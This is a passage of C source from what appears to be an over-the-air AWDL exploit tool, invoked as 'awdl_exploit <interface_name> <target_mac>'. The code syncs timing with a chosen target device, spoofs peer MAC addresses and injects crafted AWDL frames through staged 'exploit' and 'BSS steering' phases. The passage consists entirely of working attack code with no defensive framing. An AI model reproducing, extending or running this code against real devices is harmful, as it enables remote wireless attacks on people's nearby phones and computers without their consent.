    {0x22, 0x66, 0x00, 0x00, 0x00, 0x00}
};

uint8_t first_mac_to_refresh[6] = {0};
uint8_t second_mac_to_refresh[6] = {0};


uint32_t spoof_macs_cnt = 0;

int injected_windows_count = 0;

int exploit_phase = 0;

int bss_steering_phase = 0;

uint8_t peer_in_peer_list_mac[6] = {0x22, 0x33, 0x33, 0x33, 0x00, 0x00};

void inject_sync_callback(EV_P_ ev_timer* w, int revents) {
    uint32_t elapsed_us = 0;
    uint32_t interval_us = 500;
    uint32_t max_us = 8000; // 16000

    printf("injecting for 1 AW in exploit phase %d\n", exploit_phase);

    while (elapsed_us < max_us) {
        switch(bss_steering_phase) {
            case 0:
            {
                inject_awdl_packet(global_pcap_handle, peer_in_peer_list_mac, 0, 0, 1, 0);
                break;
            }
            case 1:
            {
                break;
            }
            case 2:
            {
                inject_awdl_packet(global_pcap_handle, src_mac, 0, 0, 1, 1);
                break;
            }
        }


        usleep(interval_us);
        elapsed_us += interval_us;
    }

    printf("injected for one AW\n");
    injected_windows_count++;
    
    switch (bss_steering_phase) {
        case 0:
        {
            if (injected_windows_count == 5) {
                bss_steering_phase = 1;
            }
            break;
        }
        case 1:
        {
            if (injected_windows_count == 7) {
                bss_steering_phase = 2;
            }
            break;
        }
        case 2:
        {
            if (injected_windows_count == 10) {
                bss_steering_phase = 3;
            }
            break;
        }
    }
}

void* input_thread(void* arg) {
    printf("hello from input thread\n");
    char* line = NULL;
    size_t linecap = 0;
    ssize_t linelen;

    linelen = getline(&line, &linecap, stdin);
    if (linelen <= 0) {
        printf("input thread failed to get a line\n");
        return NULL;
    }

    printf("input thread read string: %s\n", line);
    struct ether_addr* addr1 = ether_aton(line);
    if (!addr1) {
        printf("failed to parse first address to keep\n");
        return NULL;
    }

    memcpy(first_mac_to_refresh, addr1, 6);
    
    linelen = getline(&line, &linecap, stdin);
    if (linelen <= 0) {
        printf("input thread failed to get another line\n");
        return NULL;
    }

    printf("input thread read string: %s\n", line);
    struct ether_addr* addr2 = ether_aton(line);

    memcpy(second_mac_to_refresh, addr2, 6);

    return NULL;
}

int main(int argc, char** argv) {
    char errbuf[PCAP_ERRBUF_SIZE];

    if (argc < 3) {
        fail("./awdl_exploit <interface_name> <target_mac>");
    }

    char* interface_name = argv[1];
    injection_interface_name = interface_name; // refactor this...

    log_msg("using interface: %s", interface_name);
    
    pcap_t* pcap_handle = setup_wlan_device(interface_name);
    global_pcap_handle = pcap_handle;

    struct ether_addr* parsed_mac = ether_aton(argv[2]);
    if (parsed_mac == NULL) {
        fail("unable to parse target mac address");
    }
    memcpy(&target_mac, parsed_mac, sizeof(target_mac));

    // a thread for input...
    pthread_t th;
    pthread_create(&th, NULL, input_thread, NULL);

    // set up the event loop:
    loop = EV_DEFAULT;

    sync_timing(pcap_handle, &target_mac);

    // timing should be synced now, start the event loop:
    ev_run(loop, 0);

    printf("ev_run exited\n");

    return 0;
}